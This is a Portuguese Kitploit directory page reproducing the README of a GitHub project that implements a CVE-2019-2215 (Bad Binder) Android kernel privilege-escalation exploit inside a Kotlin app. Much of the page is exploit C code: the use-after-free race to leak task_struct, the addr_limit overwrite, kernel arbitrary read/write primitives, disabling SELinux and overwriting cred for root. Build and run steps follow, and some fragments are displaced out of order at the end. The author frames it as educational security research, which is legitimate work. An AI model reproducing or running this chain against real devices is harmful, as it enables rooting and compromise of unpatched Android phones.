Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
android-badbinder-demo — demo CVE-2019-2215 (Bad Binder) para Android Q | Kitploit
Ferramentas/GitHubGitHub/i-redbyte/android-badbinder-demo
Segurança AndroidEscalada de PrivilégiosExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

demo CVE-2019-2215 (Bad Binder) para Android Q

Ver Repositório
514há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-2215 (Bad Binder) — Análise do exploit

Este repositório é um pequeno projeto de teste para pesquisa da vulnerabilidade
CVE-2019-2215 (Bad Binder) e escrita de um protótipo funcional de exploit para Android com interface gráfica simples em Kotlin/Jetpack Compose.

No README eu:

  1. Descrevo a preparação do ambiente e a execução do protótipo do exploit.
  2. Discuto as principais etapas de exploração do CVE-2019-2215 e as relaciono com funções específicas no código C.
  3. Listo separadamente as dificuldades que encontrei pelo caminho e como as resolvi.

APK pronto (GitHub Actions)

O repositório possui um workflow do GitHub Actions que, a cada push/PR, compila o projeto com o comando ./gradlew assembleDebug e publica o badbinder-debug.apk como artefato.

Pode ser baixado assim:

  1. Abrir a aba Actions no repositório.
  2. Selecionar a execução do workflow desejada.
  3. No final da página, encontrar a seção Artifacts e pegar o arquivo badbinder-debug-apk com o APK compilado.

Isso foi feito por conveniência, caso queira apenas testar o aplicativo sem montar um ambiente local.


Breve sobre a vulnerabilidade

CVE-2019-2215 é um Use-After-Free (UAF) no subsistema de IPC Binder do kernel Android.

De forma simplificada:

  • no kernel existe uma estrutura struct binder_thread, que descreve uma thread realizando chamadas Binder;
  • esta estrutura pode ser liberada (free), mas sob uma certa sequência de chamadas ainda permanece nas listas de espera (waitqueue);
  • posteriormente o kernel tenta trabalhar com a memória já liberada em remove_wait_queue, o que abre um cenário clássico de UAF;
  • se o ambiente e as alocações subsequentes forem cuidadosamente ajustados, é possível fazer o kernel ler/escrever em endereços arbitrários, e então — obter privilégios de kernel e, em seguida, root no userspace.

Uma análise teórica mais detalhada fiz com base nos materiais:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. Preparação do ambiente e execução do protótipo do exploit

1.1. Escolha e preparação do dispositivo virtual

Conforme recomendado na tarefa, usei um AVD com imagem Android 10.0 (Q) x86_64.
Fiz o seguinte:

  1. No Android Studio criei um AVD (dispositivo Pixel, Android 10 (Q), x86_64).
  2. Verifiquei se a imagem possui Binder ativado e o dispositivo /dev/binder.
  3. Ativei a depuração via USB/ADB e verifiquei o acesso ao dispositivo:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

Nesta etapa me deparei com um fato desagradável:
atualmente, as imagens AVD atuais já vêm com kernel corrigido, no qual o CVE-2019-2215 está fechado. Ou seja, não será possível obter root em um emulador oficial moderno — o exploit falha em estágios posteriores ou simplesmente não concede elevação de privilégios.

No final, uso o AVD como simulador para reproduzir a lógica do exploit:

  • obtenho as mesmas sequências de chamadas de sistema,
  • observo as tentativas de UAF, vazamento de endereços e tentativa de sobrescrever addr_limit,
  • mas a obtenção final de "root" no kernel atual e corrigido, naturalmente, não funciona (e isso é esperado).

Essa é uma nuance importante: todo o código e relatório abaixo são educacionais, não "de combate".


1.2. Compilação do aplicativo Android com exploit nativo

Criei um pequeno aplicativo Android:

  • UI em Kotlin + Jetpack Compose,
  • Parte nativa em C via JNI — o código do exploit em si,
  • comunicação entre eles via callback JNI, para que as strings do código C sejam enviadas diretamente para a UI.

Principais passos:

  1. Criei um projeto normal no Android Studio (Kotlin, suporte mínimo ao Android 10).

  2. Conectei o NDK e o CMake.

  3. Adicionei o arquivo nativo com o exploit (o mesmo cve-2019-2215.c com funções leak_task_struct, overwrite_addr_limit, etc.).

  4. No CMakeLists.txt adicionei a compilação de libcve-2019-2215.so.

  5. No MainActivity:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. No lado Kotlin fiz um ExploitViewModel que implementa a interface NativeLogger e armazena todas as mensagens em um StateFlow<List<String>>. A UI se inscreve nesse fluxo e exibe o log em um "terminal".

Ao iniciar a activity, chamo setNativeLogger(viewModel), para que o código nativo receba um objeto para o qual possa enviar strings.


1.3. Execução e cenário de uso

  1. Compilo e instalo o aplicativo:

    root@kitploit:~
    ./gradlew installDebug
    
  2. Inicio o AVD e o próprio aplicativo.

  3. Na tela vejo um "terminal" e um botão RUN EXPLOIT.

  4. Ao pressionar:

    • Kotlin chama runNativeExploit() em uma thread em segundo plano.
    • O código C começa a executar todas as etapas do exploit e registra os passos.
    • Através do callback JNI, o log chega ao ViewModel e é exibido na UI Compose.

Em um kernel real vulnerável, eu esperaria ver algo como:

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

No emulador atual do Android 10 isso, obviamente, não ocorre, mas todo o resto — vazamento de task_struct, tentativa de sobrescrever addr_limit, cálculo de cred e kernel_base — funciona como um "cenário", que era o que se pedia na tarefa.


2. Análise das principais etapas do exploit e relação com o código

Abaixo — esquema lógico do exploit com vínculo às funções C específicas.

2.1. Cenário geral do exploit

O plano de alto nível é:

  1. Criar um UAF no objeto struct binder_thread e usá-lo para vazar o endereço do task_struct do próprio processo (leak_task_struct).
  2. Com um segundo ciclo de UAF e estruturas cuidadosamente ajustadas, sobrescrever o campo addr_limit no task_struct (overwrite_addr_limit) — isso remove a restrição entre endereços de user-space e kernel-space para posteriores copy_to_user / copy_from_user.
  3. Usando pipes, implementar leitura/escrita arbitrária de qualquer memória do kernel (arb_read / arb_write).
  4. Com isso, encontrar o cred do processo atual e a base do kernel (verifying), em seguida:

Paralelamente, integrei um logger JNI para que todas essas etapas fossem visíveis diretamente na UI.


2.2. Etapa 1 — vazamento do endereço do task_struct (leak_task_struct)

Função principal:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

O que a função faz:

  1. Fixa a thread na CPU 0 (sched_setaffinity), para tornar o comportamento do alocador do kernel mais previsível. Isso melhora a estabilidade da exploração do UAF.

  2. Abre /dev/binder, cria um descritor epoll:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    O descritor Binder é registrado no epoll:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. Prepara um array struct iovec iov_buffers[IOVEC_N] e aloca memória:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    Aqui é importante que os 32 bits inferiores do endereço sejam zeros:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    Isso corresponde à técnica dos artigos de exploração: posteriormente o kernel interpreta parte dos nossos dados como estruturas com ponteiros, e esse endereçamento "bem alinhado" simplifica o abuso.

    Em seguida, os campos iov_buffers[0xa] e são preenchidos de modo que, no momento do UAF, o kernel copie para o pipe um pedaço de memória onde está o ponteiro para .

Resultado: tenho o endereço do task_struct no kernel, o que é crucial para os passos seguintes.


2.3. Etapa 2 — sobrescrita do addr_limit (overwrite_addr_limit)

O addr_limit no task_struct determina quais endereços o processo pode passar para chamadas de sistema como ponteiros de user-space. Se sobrescrito para um valor quase máximo, o kernel deixa de distinguir endereços de user-space de endereços em seu próprio espaço — e muitas operações aparentemente seguras copy_(to|from)_user se transformam em leituras/escritas arbitrárias do kernel.

Função:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

age de forma muito semelhante:

  1. Novamente fixo a afinidade de CPU, abro /dev/binder, crio epoll.

  2. Preparo iov_buffers, mas desta vez o esquema é diferente:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. Em vez de pipe, uso socketpair(AF_UNIX, SOCK_STREAM, ...):

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. Preparo a estrutura msghdr para recvmsg:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. No processo filho (após fork()) novamente inicio a corrida UAF:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. Etapa 3 — leitura/escrita arbitrária e verificação (arb_read, arb_write, verifying)

Após sobrescrever o addr_limit, uso pipes para transformar operações normais de leitura/escrita na capacidade de ler e escrever em endereços do kernel.

Primitivas arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

Analogamente, arb_write inverte a direção da cópia.

Verificação e busca de estruturas-chave

Função verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

Aqui eu:

  • leio do kernel o conteúdo do task_struct;
  • pelo PID_OFFSET confirmo que é realmente minha estrutura;
  • extraio o ponteiro para cred e um vazamento de endereço do kernel (kernel_leak);
  • calculo kernel_base com correção para um deslocamento fixo.

2.5. Etapa 4 — SELinux e escalada para root

Parte final em runNativeExploit:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • calculo o endereço da variável global selinux_enforcing e a defino para o estado zero/"permissivo".

Em seguida — sobrescrita do cred:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
}

Eu literalmente preencho os campos de capability e alguns outros campos de `cred`
com valores máximos, para conceder ao processo o conjunto completo de direitos.

Última verificação:

```c
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

Em um kernel real vulnerável, eu esperaria uid=0 aqui; na imagem corrigida — logicamente a escalada é desativada.


2.6. JNI e logging na UI

Para ver tudo em tempo real, adicionei uma camada:

  • JNI_OnLoad salva o JavaVM* e o PID do processo principal;
  • setNativeLogger recebe um objeto Kotlin que implementa o método onLog(String), e o armazena como GlobalRef;
  • android_log/android_log_hex escrevem no logcat e chamam send_to_ui, que entrega a string ao Kotlin, onde o ExploitViewModel a captura e exibe no "terminal" Compose.

É importante que send_to_ui filtra processos filhos pelo PID — chamar JNI a partir de um processo após fork() sem exec() não é seguro.


3. Dificuldades e suas soluções

3.1. Imagens AVD corrigidas

Encontrei que atualmente não existem imagens AVD oficiais do Android 10 com kernel não corrigido, onde o CVE-2019-2215 ainda esteja presente.

Em vez de obter root "real", concentrei-me em:

  • reproduzir a lógica de exploração,
  • analisar a sequência do UAF,
  • visualizar todas as etapas no aplicativo Android.

Se desejado, este código pode ser portado para um dispositivo real com kernel antigo não corrigido, mas isso está fora do escopo da tarefa.


3.2. Deslocamentos fixos e dependência da versão do kernel

Tive que definir explicitamente:

  • ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;
  • deslocamentos para kernel_leak e selinux_enforcing;
  • constante para o cálculo de kernel_base.

Optei conscientemente por não automatizar a busca desses valores, para não aumentar o volume do projeto. No relatório, assumo que é um exemplo educacional para uma versão específica do kernel, e não um exploit universal.


3.3. Corridas e estabilidade

O uso de fork(), epoll_ctl, BINDER_THREAD_EXIT e diferentes timings é um campo minado. Descobri que sem:

  • sched_setaffinity,
  • pequenos sleep,
  • e assert agressivos ao longo do caminho

o exploit se torna extremamente instável.
Aos poucos, ajustei a sequência para que, em uma configuração vulnerável, fosse previsível e, em uma corrigida, "falhasse" corretamente nas últimas etapas.


3.4. JNI e fork()

Também me deparei com o fato de que tentativas de logar do processo filho diretamente na JVM levam a comportamentos estranhos.
Tive que lembrar as regras do JNI e adicionar uma verificação de PID para comunicar-me com a JVM apenas a partir do processo principal.

Compromisso: parte das mensagens é visível apenas no logcat, e na UI é exibido apenas o que veio do pai. Isso me satisfez, pois dentro da tarefa são importantes principalmente os pontos de controle principais, e não cada print de depuração.


3.5. UI

Como bônus, para uma implementação mais criativa da tarefa, decidi fazer uma interface conveniente para análise:

  • implementei uma tela com "console" no estilo terminal escuro e texto verde;
  • o log é exibido linha por linha, com rolagem automática para a última entrada;
  • diferentes tipos de mensagem ([+], [*], [!], [C]) são destacados em cores diferentes para facilitar a leitura;
  • o resultado da execução (Success / Failed) é exibido em um bloco separado.

Isso facilita muito a compreensão do funcionamento do código nativo: em vez do seco logcat, vejo tudo em um só lugar, diretamente no aplicativo.


Conclusão

Como resultado do trabalho na tarefa, eu:

  1. Preparei um ambiente AVD e um aplicativo Android com parte nativa implementando o exploit CVE-2019-2215.
  2. Analisei passo a passo a exploração:
    • UAF no Binder e vazamento do task_struct,
    • sobrescrita do addr_limit,
    • construção de primitivas de leitura/escrita arbitrária,
    • busca do cred, desativação do SELinux e tentativa de escalada de privilégios.
  3. Enfrentei uma série de problemas reais de engenharia (correções no kernel, dependência de versão, corridas, peculiaridades do JNI) e os resolvi ou contornei sucessivamente.

O projeto ficou compacto, mas essencialmente reflete todo o ciclo de vida de uma vulnerabilidade real do kernel: desde a descrição teórica e leitura de artigos até a implementação prática e integração em um aplicativo Android funcional.

P.S.

Forma alternativa de executar o exploit

No diretório cve-2019-2215 há um Makefile que permite compilar um binário nativo (x86_64) e executá-lo diretamente no AVD via ADB. Se precisar de uma versão aarch64, ela pode ser compilada separadamente.

  1. Compile o binário nativo:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. Copie o binário para o AVD, por exemplo, para /sdcard/cve-2019-2215
  3. Execute o shell ADB e execute o binário:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. Após a execução bem-sucedida do exploit, você pode verificar a obtenção de root:
    root@kitploit:~
    id
    
    saída esperada:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
Baixar ferramenta
  • desativar o SELinux (selinux_enforcing = 0),
  • sobrescrever os campos de cred para se tornar root e obter o conjunto completo de capabilities (runNativeExploit).
iov_buffers[0xb]
task_struct
  • Cria um pipe e define seu tamanho de buffer como 0x1000:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • Em seguida — a clássica corrida UAF. Inicio um processo filho:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • O pai continua executando o código seguinte.
    • No processo filho, epoll_ctl(..., EPOLL_CTL_DEL, ...) leva à liberação do binder_thread associado no kernel, mas ele ainda está presente na estrutura de contagem de espera — esse é o ponto do UAF.
  • No processo pai, chamo:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // liberação do binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    Nesta etapa, graças ao UAF, writev usa a memória já liberada como estruturas iovec e, essencialmente, reinterpreta a mesma região de memória onde antes estava o binder_thread, mas agora como um conjunto de ponteiros/tamanhos. Como efeito colateral, ocorre a cópia de um fragmento da memória do kernel para o nosso pipe.

  • Finalmente, leio do pipe:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    O deslocamento 0xe8 foi ajustado para a versão específica do kernel — é o local onde, dentro do bloco de memória vazado, está o ponteiro para o task_struct do meu processo.

  • O pai, como antes, libera o binder_thread e chama recvmsg:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    Devido ao UAF e à substituição astuta das estruturas, o kernel acaba interpretando task_struct + ADDR_LIMIT_OFFSET como o endereço de um buffer user e copia para lá o conteúdo da estrutura enviada (nosso valor 0xfffffffffffffffe), sobrescrevendo assim o addr_limit no task_struct.

  • No log, escrevo:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");